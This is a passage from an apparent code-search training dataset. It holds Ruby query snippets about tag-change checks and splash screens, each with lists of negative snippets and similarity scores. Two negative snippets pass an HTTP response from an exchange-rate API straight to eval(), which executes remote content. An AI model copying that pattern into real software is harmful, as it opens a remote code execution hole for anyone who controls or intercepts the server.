params[(param_index += 1).to_s] = { id: ann.id }
else
any_deletes = true
params[(param_index += 1).to_s] = { id: ann.id, _destroy: true }
end
end
end
potential_values.delete_if.with_index { |_, i| duplicates.include?(i) }
potential_values.each do |value|
# Annotation model can take either a String or an AR object as the value
text_value = TextValue.where('lower(text) = ?', value.downcase).first || value
params[(param_index += 1).to_s] = { source_type: owner.class.name, source_id: owner.id,
attribute_name: attr, value: text_value }
end
send("#{attr}_annotations").reset # Clear any previously assigned, but unsaved annotations
send("#{attr}_annotations_attributes=", params)
potential_values.any? || any_deletes
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def changed? tag=false\n if tag\n @changed_values.include? tag\n else\n !@changed_values.empty?\n end\n end",
"def tags_have_changed?(opp)\n checksum = attribute_checksum(opp, 'tags')\n existing = existing_tag_checksum(opp)\n \n if existing != checksum\n set_bot_metadata(opp, 'tag_checksum', checksum)\n end\n\n if existing != checksum && !existing.nil?\n {\n time: Time.now.to_i*1000,\n source: \"tags updated\\n#\" + opp['tags'].sort.reject {|t| t.start_with?(BOT_TAG_PREFIX)}.map {|t| t.gsub(/[ \\(\\):]/, '-').sub('🤖-[auto]-', '')}.join(' #')\n }\n else\n nil\n end\n end",
"def change_tagname?(new_tagname)\n self.tagname = new_tagname\n if self.valid?\n return true\n else\n return false\n end\n end",
"def change_tagname?(new_tagname)\n self.tagname = new_tagname\n if self.valid?\n return true\n else\n return false\n end\n end",
"def correct_tags?\n missing_tags?\n unwanted_tags?\n duplicate_tags?\n end",
"def change_tagname!(new_tagname)\n old_tagname = self.tagname\n if change_tagname?(new_tagname)\n # name change is ok - we use update_all because we assume our status is being updated up a level\n TagNomination.for_tag_set(owned_tag_set).where(:tagname => old_tagname).update_all(:tagname => new_tagname)\n return true\n end\n return false\n end",
"def changed? \n @changed == true\n end",
"def changed?\n changed = \"false\" \n uri = URI('https://api.bitcoinvenezuela.com/DolarToday.php?json=yes')\n res = Net::HTTP.get_response(uri)\n body = eval(res.body)\n \n # 12 mayor tags: _antibloqueo, _labels, _timestamp, USD, EUR, COL, GOLD, USDVEF, USDCOL, EURUSD, BCV, MISC\n unless body.size == 12\n changed = \"One on the mayor tags has changed\" \n end \n \n # _antibloqueo\n unless body[:_antibloqueo].size == 10\n changed = \"_antibloqueo tags has changed\" \n end \n \n # _labels\n unless body[:_labels].size == 6\n changed = \"_labels tags has changed\" \n end\n \n # _timestamp\n unless body[:_timestamp].size == 7\n changed = \"_timestamp tags has changed\" \n end\n \n # USD\n unless body[:USD].size == 12\n changed = \"USD tags has changed\" \n end\n \n # EUR\n unless body[:EUR].size == 11\n changed = \"EUR tags has changed\" \n end\n \n # COL\n unless body[:COL].size == 4\n changed = \"COL tags has changed\" \n end\n \n # GOLD\n unless body[:GOLD].size == 1\n changed = \"GOLD tags has changed\" \n end\n \n # USDVEF\n unless body[:USDVEF].size == 1\n changed = \"USDVEF tags has changed\" \n end\n \n # USDCOL\n unless body[:USDCOL].size == 7\n changed = \"USDCOL tags has changed\" \n end\n \n # EURUSD\n unless body[:EURUSD].size == 1\n changed = \"EURUSD tags has changed\" \n end\n \n # BCV\n unless body[:BCV].size == 4\n changed = \"BCV tags has changed\" \n end\n \n # MISC\n unless body[:MISC].size == 2\n changed = \"MISC tags has changed\" \n end\n\n return changed\n end",
"def was_changed?\n attributes = get_attributes \n previous_revision = self.last_revision\n return true unless previous_revision\n \n # Check page attributes for changing\n attributes.each do |field, value|\n return true if value.to_s != previous_revision[field].to_s\n end\n \n return false\n end",
"def changed?\n changed = \"false\" \n uri = URI('https://api.bitcoinvenezuela.com/')\n res = Net::HTTP.get_response(uri)\n body = eval(res.body)\n \n # 6 mayor tags: time, BTC, LTC, exchange_rates, LocalBitcoins_coupons, variations\n unless body.size == 6 \n changed = \"One on the mayor tags has changed\" \n end \n \n # time: timestamp\n unless body[:time].size == 1 \n changed = \"Timestamp tag has changed\" \n end\n # BTC: USD, EUR, VEF, ARS, BTC\n unless body[:BTC].size == 5\n changed = \"BTC tag fields values have changed\" \n end\n \n # LTC: USD, EUR, VEF, ARS, BTC\n unless body[:LTC].size == 5\n changed = \"LTC tag fields Values have changed\" \n end\n \n # exchange_rates: EUR_USD, VEF_USD, ARS_USD, XVE_USD, XVE_EUR, XAR_USD\n unless body[:exchange_rates].size == 6 \n changed = \"exchange_rates tag fields Values have changed\" \n end\n \n # LocalBitcoins_coupons: USD, XVE\n unless body[:LocalBitcoins_coupons].size == 2 \n changed = \"LocalBitcoins_coupons tag fields Values have changed\" \n end\n \n # variations: BTC, LTC\n unless body[:variations].size == 2\n changed = \"variations tag fields Values have changed\" \n end\n \n return changed\n end",
"def update_tags(new_tags, old_tags)\n @tags += (new_tags || [])\n @tags -= (old_tags || [])\n @tags.uniq!\n tag_update = TagUpdate.new(@identity, new_tags, old_tags)\n @amq.fanout('registration', :no_declare => @options[:secure]).publish(@serializer.dump(tag_update))\n true\n end",
"def changed_content?(doc)\n return true if title != doc[:title] || content != doc[:content] || m[:tag_list] != doc[:metadata][:tag_list]\n false\n end",
"def changed?\n @changed\n end",
"def different_tag?\n note_tags = @note.tags || []\n tag = @tag.get || []\n (note_tags - tag).size != 0 || (tag - note_tags).size != 0\n end",
"def determine_content_freshness\n @auto_tags_need_update = self.class.auto_tag_fields.any? {|field| self.changed.include? field.to_s }\n true\n end",
"def changed?\r\n @changed\r\n end",
"def revert tag=nil\n if tag\n val = @changed_values.delete(tag)\n res = val != nil\n else\n res = @changed_values.size > 0\n @changed_values.clear\n end\n res\n end",
"def changed?\n @changed\n end",
"def changed?\n true\n end",
"def check_tag(new_tag)\n db = connect_to_database()\n if db.execute(\"SELECT * FROM tags WHERE Tag = ?\", new_tag.downcase) != []\n return true \n else \n return false \n end \n end",
"def content_changed?\n changed? && changes.keys != ['is_current']\n end",
"def changed?\n !@newly_set_features.empty?\n end",
"def modified_existing?\n false\n end",
"def was_changed?(attributes) \n if PagePartRevision.exists?(attributes)\n return false\n else\n return true\n end\n end",
"def changed?\n raw?\n end",
"def changed?\n !!@changed\n end",
"def changed?\n !!@previous\n end",
"def changed?\n\t\treturn self.changed_reason ? true : false\n\tend",
"def changed?\n changes.changed?\n end",
"def apply_updates_tags_bool(tag)\n @control_string.sub!(\n /tag\\s+['\"]?#{tag.key}['\"]?:\\s+(true|false|'')\\n/,\n \"tag '#{tag.key}': #{tag.value}\\n\"\n )\n end",
"def changed?\n\t\tchanged = (@price_new != @price_old)\n\t\t@price_old = @price_new\n\t\treturn changed\n\tend",
"def modified?\n\t\treturn @dirty ? true : false\n\tend",
"def is_tagged?\n ! @tags.empty?\n end",
"def changed?\n !changed_attributes.empty?\n end",
"def should_replace(tag)\n return REPLACEMENT_TAGS.include?(tag)\n end",
"def modified?\r\n @modified\r\n end",
"def is_tagged?\n ! @tags.empty?\n end",
"def tagged?(tag)\n @tags.include?(tag)\n end",
"def remove_tags(*old_tags)\n raise TypeError, \"Must set agent= before using tag manager\" unless @agent\n @agent.update_tags([], old_tags)\n true\n end",
"def set_tagged_bool\n self.tag.split(\" \").empty? ? self.tagged = false : self.tagged = true\n end",
"def stored?\n !attributes['e_tag'].nil?\n end",
"def finished?\n !!@tag\n end",
"def modified?\n\t\t@modified\n\tend",
"def amended?\n @doc.at_xpath('/a:akomaNtoso/a:act', a: NS)['contains'] != 'originalVersion'\n end",
"def destruction?\n self.diff['attributes']['old'] && !self.diff['attributes']['new']\n end",
"def modified?\n @modified\n end",
"def modified?\n @modified\n end",
"def changed?\n @changed ||= sorted_file != IO.read(file)\n end",
"def modified?\n @modified\n end",
"def changed?\n return true if attributes_changed?\n return true if associations_changed?\n false\n end",
"def tags_match?(other)\n (self.respond_to?(:tags) and other.respond_to?(:tags)) ?\n self.tags == other.tags : true\n end",
"def has_tags?\n tags.is_a?(Hash) ? false : true\n end",
"def changed_tags\n @changed_values.keys.map { |key| MiniExiftool.original_tag(key) }\n end",
"def taggable?\n description['taggable'] == true\n end",
"def exists?(tag)\n @orig.include?(tag)\n end",
"def tag_selected?\n # 入力されたタグ文字列を検証\n if self.added_tags.to_s.scan(/\\[.*?\\]/).blank? &&\n self.deleted_at.blank? &&\n self.tags.blank? &&\n self.selected_tags.blank?\n errors.add(:selected_tags, I18n.t('article.tag_validation_error'))\n end\n end",
"def changed_in_place?(raw_old_value, new_value)\n false\n end",
"def update_tags(tag_set, verbose: false)\n removed_tags = Set.new\n loop do\n previous_tags = tag_set.map{|t|t.to_s}\n\n implicate_tags(tag_set, removed_tags, verbose)\n alias_tags(tag_set, removed_tags)\n\n # Break when there is no change in tags.\n return tag_set if tag_set.map{|t|t.to_s} == previous_tags\n end\n end",
"def mark_unchanged\r\n @changed = false\r\n end",
"def changed?\n instance.changed.include? \"#{name}_identifier\"\n end",
"def has_tag?(value)\r\n @tags.include?(value)\r\n end",
"def updated?\n false\n end",
"def tagged?(tag)\n !! self.tag(tag)\n end",
"def changed?\n eav_attributes.each do |attribute|\n return true if ( attribute.changed? || attribute.new_record? )\n end\n\n super\n end",
"def changed?(olds, news) ; olds != news ; end",
"def has_changes?\n (@edited_rows_codes.count > 0) || (@destroyed_rows_codes.count > 0)\n end",
"def changed_in_place?(raw_old_value, new_value)\n deserialize(raw_old_value) != new_value\n end",
"def changed_in_place?(raw_old_value, new_value)\n deserialize(raw_old_value) != new_value\n end",
"def attribute_changed?(attr)\n changed_attributes.include?(attr)\n end",
"def signature_changed?\n signature != stored_signature\n end",
"def signature_changed?\n signature != stored_signature\n end",
"def card_content_changed?\n (%w(front back) & changes_to_save.keys).present?\n end",
"def old?\n\t\t@mutex.synchronize {\n\t\t\t@old\n\t\t}\n\tend",
"def find_tags\n @find_tags = true\n end",
"def edit_tag(tag_name, owner_user_id, new_tag_content)\n return false if new_tag_content.length > tag_content_max_length\n tags = USER_TAGS.where{Sequel.&({owner_user_id: owner_user_id}, {tag_name: tag_name})}\n return false if tags.count() <= 0\n\n tags.update(tag_content: new_tag_content)\n return true\n end",
"def has_tag?(tag)\n self.tags.include?(tag)\n end",
"def touch_tags\n tags.each(&:touch)\n end",
"def tagged?; end",
"def changed_notably?\n if ignored_attr_has_changed?\n timestamps = @record.send(:timestamp_attributes_for_update_in_model).map(&:to_s)\n (notably_changed - timestamps).any?\n else\n notably_changed.any?\n end\n end",
"def hastag2?\n ! @tag2.empty?\n end",
"def has_changes?\n @has_updated || @has_created\n end",
"def has_tag?(name); end",
"def template_changed?\n modified?(\"design/template.slim\") || modified?(\".clayoven/hidden\") ||\n modified?(\".clayoven/tz\") || modified?(\".clayoven/subtopics\")\n end",
"def data_changed?\n changes.include?(\"data\")\n end",
"def should_not_change_metadata(key, value, new_value, *tags)\n should_change_metadata(key, value, new_value, 200, *tags)\n end",
"def changed_notably?\n if @is_touch && changes_in_latest_version.empty?\n true\n else\n super\n end\n end",
"def changed?\n mutations_from_database.any_changes?\n end",
"def changed?\n # Allow the timeout to be disabled entirely.\n return true if Puppet[:filetimeout] < 0\n current_stamp = current_timestamp\n\n # We use a different internal variable than the stamp method\n # because it doesn't keep historical state and we do -- that is,\n # we will always be comparing two timestamps, whereas\n # stamp just always wants the latest one.\n if current_stamp == @previous_timestamp\n false\n else\n @previous_timestamp = current_stamp\n true\n end\n end",
"def changed\n @deleted = false\n @changed = true\n end",
"def changed?(key)\n changed.has_key?(key)\n end",
"def changed?(key)\n changed.has_key?(key)\n end",
"def modified?\n\t\treturn self.status == 'M'\n\tend",
"def updated?\n @changed_files.clear()\n start_size = @file_cache.size\n listen_for_changes\n end_size = @file_cache.size\n start_size != end_size || !@changed_files.empty?\n end",
"def dirty?\n @changes.length > 0\n end",
"def modified?\n new?\n end",
"def hasChanged?(key)\n\t\treturn self[key] != @oldConfig[key]\n\tend",
"def changed?\n if update_type == :no_change\n false\n else\n true\n end\n end",
"def hastag1?\n ! @tag1.empty?\n end",
"def element_is_tag?\n self[:is_tag]\n end",
"def hastag?(tag)\n @tags[tag] ? true : false\n end",
"def correct_tag_values?\n validate_tags(info.our_tags)\n validate_album_disc(info.album, file.dirname.basename.to_s)\n end"
] | [
"0.75580776",
"0.74404347",
"0.74161595",
"0.74161595",
"0.72288215",
"0.7125686",
"0.6742202",
"0.66686857",
"0.6588479",
"0.657814",
"0.65663326",
"0.6554407",
"0.6544658",
"0.65437794",
"0.6538345",
"0.65304554",
"0.6525919",
"0.6489608",
"0.64612836",
"0.6422434",
"0.64187175",
"0.6413978",
"0.63877636",
"0.637844",
"0.6372416",
"0.63271815",
"0.63255787",
"0.6299048",
"0.62908214",
"0.62831753",
"0.62751406",
"0.62574744",
"0.62475115",
"0.6247164",
"0.623994",
"0.62380683",
"0.62370205",
"0.6219829",
"0.62193704",
"0.62181824",
"0.62065536",
"0.6205547",
"0.61896676",
"0.61887133",
"0.618709",
"0.6183784",
"0.6183784",
"0.6173925",
"0.6158859",
"0.61266667",
"0.61212677",
"0.61196667",
"0.6087565",
"0.60828424",
"0.60816276",
"0.607559",
"0.6074507",
"0.6048206",
"0.6043219",
"0.6042284",
"0.6039578",
"0.6035861",
"0.60209846",
"0.60137624",
"0.60099113",
"0.6004847",
"0.5999845",
"0.5999845",
"0.5994478",
"0.597993",
"0.597993",
"0.5975861",
"0.59543955",
"0.5953848",
"0.5952282",
"0.5951876",
"0.5949673",
"0.5933157",
"0.5932917",
"0.5925773",
"0.5922166",
"0.59213173",
"0.59192085",
"0.5910617",
"0.58981913",
"0.588788",
"0.5887482",
"0.58849674",
"0.58841175",
"0.5880502",
"0.5880502",
"0.5872487",
"0.5871264",
"0.58693814",
"0.58647877",
"0.58626163",
"0.5858067",
"0.58544064",
"0.58523107",
"0.5850407",
"0.58363044"
] | 0.0 | -1 |
create the splash screen | def makeSplash
clearScreen
splash = ConsoleSplash.new(15,70)
splash.write_header("Welcome to Sokoban","Ben Cornforth","Alpha Build, November 2015",{:nameFg=>:green,:authorFg=>:green, :versionFg=>:green, :bg=>:black})
splash.write_horizontal_pattern("/*",{:fg=>:white, :bg=>:black})
splash.write_vertical_pattern("/",{:fg=>:orange, :bg=>:black})
splash.splash
if pressKey != ''
menuScreen
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def start_splash\n # Clear the console\n puts \"\\e[H\\e[2J\" \n \n # Create a new splash object \n splash = ConsoleSplash.new(13, 40) # 13 lines, 40 columns\n \n # Add header to the splash console\n splash.write_header(\"Welcome to Flood-It\", \"Georgica Bors\", \"1.0\")\n \n # Add text to the splash console\n splash.write_center(-3, \"<Press enter to continue>\")\n \n # Select the pattern of the border of the splash screen\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n \n # Draw the splash screen\n splash.splash\n \nend",
"def splash_page\n end",
"def splashScreen(width, height)\n splash = ConsoleSplash.new(height, width);\n splash.write_header(\"Welcome to Flood-It\", \"Jake Sturgeon\", \"1.0\")\n splash.write_center(-3, \"<Press enter to continue>\")\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n puts \"\"\nend",
"def splash\n puts <<-'SPLASH'\n\n\n _________ __ __ ______ _________ _______ ______\n /________/\\/_/\\/_/\\ /_____/\\ /________/\\ /______/\\ /_____/\\\n \\__.::.__\\/\\:\\ \\:\\ \\\\::::_\\/_\\__.::.__\\/ \\::::__\\/__\\:::_ \\ \\\n /_\\::\\ \\ \\:\\ \\:\\ \\\\:\\/___/\\ \\::\\ \\ \\:\\ /____/\\\\:\\ \\ \\ \\\n \\:.\\::\\ \\ \\:\\ \\:\\ \\\\_::._\\:\\ \\::\\ \\ \\:\\\\_ _\\/ \\:\\ \\ \\ \\\n \\: \\ \\ \\ \\:\\_\\:\\ \\ /____\\:\\ \\::\\ \\ \\:\\_\\ \\ \\ \\:\\_\\ \\ \\\n \\_____\\/ \\_____\\/ \\_____\\/ \\__\\/ \\_____\\/ \\_____\\/\n\n\n JUST GO: The world's greatest social event planning calendar app.\n\n\n SPLASH\n end",
"def splash\n @phone, @prefix = classify_phone\n @items = case @prefix\n when 'webkit' then $WK_ITEMS\n when 'touch' then $TO_ITEMS\n when 'basic' then $BA_ITEMS\n end\n @theme = 'brownell'\n render :template => 'home/splash', :layout => @prefix\n end",
"def nadar; 'Splash splash splash...'; end",
"def splash_screen(application)\r\n\t# select a random splash image to display\r\n\timages = Dir['./splash/*.{PNG,png}']\r\n\ticon = load_icon(images[rand(images.length())], application)\r\n\r\n\t# the splash screen dialog\r\n\tsplash = FXDialogBox.new(application, nil, FRAME_LINE,\r\n\t\t\t\t\t\t\t:padLeft => 0, :padRight => 0, :padTop => 0, :padBottom => 0)\r\n\t\r\n\t# frame to hold the splash screen components\r\n\tframe = FXVerticalFrame.new(splash, LAYOUT_FILL_X)\r\n\t\r\n\t# the main label that holds the splash image and application title\r\n\tlabel = FXLabel.new(frame, 'CS 1300 Ruby Hangman', icon, \r\n\t\t\t\t\t\t:opts => TEXT_BELOW_ICON | JUSTIFY_LEFT)\r\n\tlabel.font = FONT['Courier 24 bold']\r\n\r\n\t# People tell me I like to talk... so let's add a chatty message\r\n\tmessage = [\r\n\t\t'', \r\n\t\t\"Guess the word in #{MAX_GUESSES} tries, or you\\'ll swing!\",\r\n\t]\r\n\t\r\n\tFXLabel.new(frame, message.join(\"\\n\"), :opts => JUSTIFY_LEFT | TEXT_AFTER_ICON) do |theLabel|\r\n\t\ttheLabel.font = FONT['Helvetica 12']\r\n\tend\r\n\r\n\t# set the splash screen to display for 5 seconds\r\n\tapplication.addTimeout(5000, :repeat => false) do\r\n\t\tsplash.close()\r\n\tend\r\n\t\r\n\t# fire it up\r\n\tsplash.execute(PLACEMENT_SCREEN)\r\nend",
"def init()\n # Splash screen\n splash = ConsoleSplash.new(25,88)\n splash.write_header(\"Flood-It\", \"Huzaifa Ahmed\", \"1.0\")\n splash.write_center(-3, \"<Press enter to continue>\")\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n\n # Press enter to continue\n gets\n\n # Load the main menu\n display_menu\nend",
"def goto_splash\r\n fadeout_all\r\n SceneManager.goto(Scene_Splash)\r\n end",
"def main_menu_runner\n\n splash\n\n login_menu_display\n\n end",
"def create\n @splashscreen = Splashscreen.new(splashscreen_params)\n\n respond_to do |format|\n if @splashscreen.save\n format.html { redirect_to splashscreens_url, notice: 'Splashscreen was successfully created.' }\n format.json { render :show, status: :created, location: @splashscreen }\n else\n format.html { render :new }\n format.json { render json: @splashscreen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def splashscreen\n\t\n\tprogressbar_score = 0\n\t\n\t#create WebDialog UI\n\tsplashscreen_width =677 #660\n \tsplashscreen_height = 435 #420\n \t\n\t#get sreen size to set the position of UI\n \t$c = Sketchup.active_model.active_view.center\n\t\n \t$dlgSplashScreen = UI::WebDialog.new(\"-=- GESTURE -=-\", false, \"GESTURE\", splashscreen_width, splashscreen_height, $c[0]-splashscreen_width/2, $c[1]-splashscreen_height/2, true);\n \t$dlgSplashScreen.set_file File.dirname(__FILE__) + \"/GESTURE/Control/splashscreen.html\"\n\t\n\t\n\t$dlgSplashScreen.min_height = 435\n \t$dlgSplashScreen.min_width = 677\n\t$dlgSplashScreen.max_height = 435\n \t$dlgSplashScreen.max_width = 677\n\t\n\t$dlgSplashScreen.set_position $c[0]-splashscreen_width/2, $c[1]-splashscreen_height/2\n\t$dlgSplashScreen.set_size splashscreen_width, splashscreen_height\n\t\n\t$dlgSplashScreen.show\n\t#splashscreen stucks on the top\n\t$dlgSplashScreen.show_modal\n\t\n\t#callback to get the video status\n\t$dlgSplashScreen.add_action_callback(\"SPLASHSCREEN_VID\") do |js_wd, message|\n\t\t#1 video ended\n\t\t#useless\n\t\t#splashscreen_video=message.to_i\n\t\t# just +1 to update\n\t\tprogressbar_score = progressbar_score + 70\n\t\tupdate_progress(progressbar_score)\n\tend\n\n\t# Test Kinect Connection\n\t\n\t# Get Sketchup environment data\n\t$SUversion = Sketchup.version\n\t$model = Sketchup.active_model\n\t$titlemodel = $model.title\n\t$materials = $model.materials\n\t$objects = $model.active_entities\n\t$number_obj = $model.active_entities.length\n\t\n\t$view = $model.active_view\n\t$camera = $view.camera\n\t$eye = $camera.eye\n\t$target = $camera.target\n\t$up = $camera.up\n\t$direction = $camera.direction\t\n\t#log(2,\"###SketchUp Object\")\n\tlog(2,'SU Version: '+$SUversion.to_s)\n\t##lo\n\tprogressbar_score = progressbar_score + 10\n\tupdate_progress(progressbar_score)\n\t\n\t#Ruby resources\n\t$rb=RUBY_VERSION\n\tlog(2,'###RUBY RESOURCES')\n\tlog(2,'Ruby Version :'+$rb.to_s)\n\tif File.exist?($LOAD_PATH[3]) && File.exist?($LOAD_PATH[2]) && $rb==\"1.8.6\"\n\t\t$rbres=true\n\t\tlog(2,\"Load Path updated: All OK\")\n\telse\n\t\t$rbres=false\n\t\tlog(2,\"Load Path updated: NOT OK\")\t\t\n\tend\n\tprogressbar_score = progressbar_score + 10\n\tupdate_progress(progressbar_score)\n\t\n\n\t\n\t# Load C++ module\n\tidCpp=UI.start_timer(0,false){\n\t\t$CppLaunch = UI.openURL(\"C:/Program Files (x86)/Google/Google SketchUp 8/Plugins/GESTURE/Interpretation/GESTURE/x64/Release/GESTURE.exe\")\n\t}\n\tif $CppLaunch \n\t\tlog(2,\"Load GESTURE.exe: OK\")\n\telse\n\t\tlog(2,\"Load GESTURE.exe: NOT OK\")\n\tend\n\tprogressbar_score = progressbar_score + 10\n\tupdate_progress(progressbar_score)\n\t\n\t# Create TCPServer\n\t$hostname = 'localhost'\n\t$port = 2000\n\tputs \"Establishing a connection...\"\n#\t$streamSock = TCPSocket.new($hostname, $port)#TCPSocket.new( \"127.0.0.1\", 20000 ) \n\n\tidsocket=UI.start_timer(2.0,false){\n\t\tputs \"new thread start\"\n\t\t\n\t\t\n\t\t#loop{\n\t\t$streamSock = TCPSocket.new($hostname, $port)\n\t\t$strr = $streamSock.read(120)\n\t\t#strr = $streamSock.recv(120)\n\t\t$order=$strr.split('/')\n\t\tputs $order[0]\n\t\tif $order[0].include? \"hello\"\n\t\t\tUI.stop_timer(idsocket)\n\t\t\t$SocketTest=true\n\t\tend\n\t#TCPSocket.new( \"127.0.0.1\", 20000 ) \n\t\tputs \"Connection established\"\n\t#while ($streamSock == nil)\n#\t\t$streamSock = TCPSocket.new($hostname, $port)#TCPSocket.new( \"127.0.0.1\", 20000 ) \n#\tend\n\t\n\t\t#}\n\t}\n\tif $streamSock != nil\n\t\t$SocketTest=true\n\t\t\n\telse\n\t\t$SocketTest=true\n\tend\n\t\n\t\n\t#test all component\n\t\n \t\t\n \t#if user closes splashscreen???\n \tputs $dlgSplashScreen.visible?\n\n \t# test progressbarscore==100%\n#\tdlgSplashScreen.close\n #\t menu\n \t\nend",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n create_command_window()\n @status_window = Window_Party_Status.new(0, 0, 480,424, $game_party.members)\n @menu_info_window = Window_Menu_Info.new(0,424,640,56)\n end",
"def intro\n system 'clear'\n intro = PicDisplay.new\n intro.logo\n sleep(4)\n welcome\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @title_window = Window_Outline_Title.new(0, 0, 640, 56)\n @content_window = Window_Outline.new(0, 56, 640, 424)\n \n # Create Window \n @list_window = Window_Outline_List.new(0, 0, 400, 400, Vocab::tutorials_strings)\n width_remain = (640 - @list_window.width)/2\n @list_window.x = width_remain.floor\n height_remain = (480 - @list_window.height)/2\n @list_window.y = height_remain.floor\n end",
"def splash()\n\t\t@request.add('/')\n\t\t@request.add('/var/widgets.json?callback=define')\n\t\t@request.add('/system/me?_charset_=utf-8')\n\t\t@request.add('/tags/directory.tagged.json?_charset_=utf-8&_=1342651726188')\n\t\t@request.add('/var/search/activity/all.json?items=12&_charset_=utf-8&_=1342651726197')\n\t\t@request.add('/var/search/public/random-content.json?page=0&items=10&tag=&type=c&_charset_=utf-8&_=1342651726201')\n\t\t@request.add('/var/templates/worlds.2.json?_charset_=utf-8')\n end",
"def set_splashscreen\n @splashscreen = Splashscreen.find(params[:id])\n end",
"def startLoadingScreen _args\n \"startLoadingScreen _args;\" \n end",
"def start_game\n #present the start button and title and image\n @stack = @shoes.stack left: 200 do\n @prompt = @shoes.title( \"Blackjack\",\n stroke: $WHITE,\n align: \"center\")\n @author = @shoes.para( \"By: Thomas Tracy\",\n stroke: $WHITE,\n align: \"center\")\n @toBegin = @shoes.title( \"Click the cards to begin!\",\n stroke: $WHITE,\n align: \"center\")\n @splashImage = @shoes.image(\"View_application/blackjack_splash.png\").move( 350, 250)\n\n #once the start button is clicked, remove the splash and start the game\n @splashImage.click do\n #remove splash\n @stack.clear\n @splashImage.clear\n #create the game view\n newGame = GameView.new(@shoes)\n newGame.create_gameView\n end #end click\n end #end stack\n end",
"def display_splash_text\n splash = Artii::Base.new :font => 'slant'\n puts splash.asciify('Country Trivia').blue\n splash\n end",
"def make_screen\n flags = [HWSURFACE, DOUBLEBUF] # FULLSCREEN will be added later\n @screen = Screen.open( [600, 900], 0, flags )\n @screen.title = \"Geotower for great good!\"\n end",
"def create\r\n super # Create the windows\r\n show(PLACEMENT_SCREEN) # Make the main window appear\r\n end",
"def start!\n @window = Window.new width, height, fullscreen?\n window.caption = name\n window.scene = Scenes.generate(first_scene)\n window.show\n end",
"def make_screen\n @screen = Screen.new(Configuration.screen[:size], 32, [HWSURFACE, DOUBLEBUF])\n\n @screen.title = \"Towerdefence!\"\n end",
"def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @item_back_window = Window_Base.new(0, 56, 640, 328)\n @dataviews_window = Window_Dataviews.new(0, 56, 640, 56, MENU_CONFIG::ITEM_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @item_window = Window_Item.new(0, 96, 640, 272, $game_party.items, @dataviews_window.selected_view)\n @item_window.opacity = 0\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n update_detail_window(@item_window.selected_item)\n \n @target_window = Window_Party_Status.new(0, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @item_back_window = Window_Base.new(0, 56, 640, 328)\n @dataviews_window = Window_Dataviews.new(0, 56, 640, 56, MENU_CONFIG::ITEM_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @item_window = Window_Item.new(0, 96, 640, 272, $game_party.items, @dataviews_window.selected_view)\n @item_window.opacity = 0\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n update_detail_window(@item_window.selected_item)\n \n @target_window = Window_Party_Status.new(0, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def home\n @static_page = StaticPage.preload_for(:content).find_by(role: :home)\n # return unless stale?(@static_page)\n\n set_custom_splash\n set_metadata(@static_page)\n end",
"def home\n @static_page = StaticPage.preload_for(:content).find_by(role: :home)\n # return unless stale?(@static_page)\n\n set_custom_splash\n set_metadata(@static_page)\n end",
"def center_splashscreen(sprite)\r\n sprite.x = Graphics.width / 2\r\n sprite.y = Graphics.height / 2\r\n sprite.ox = sprite.bitmap.width / 2\r\n sprite.oy = sprite.bitmap.height / 2\r\n end",
"def index\n @splashscreens = Splashscreen.all\n end",
"def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, YE::SYSTEM::WINDOW_HELP)\n @system_window = Window_System.new(0, 0, 640, 384)\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cWindowSkinsLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucBGMVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucSFXVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.ucBGSVolume.cVolumeLabel.rect.y-12, \n @system_window.width-32, 48)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cBattleAnimLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, 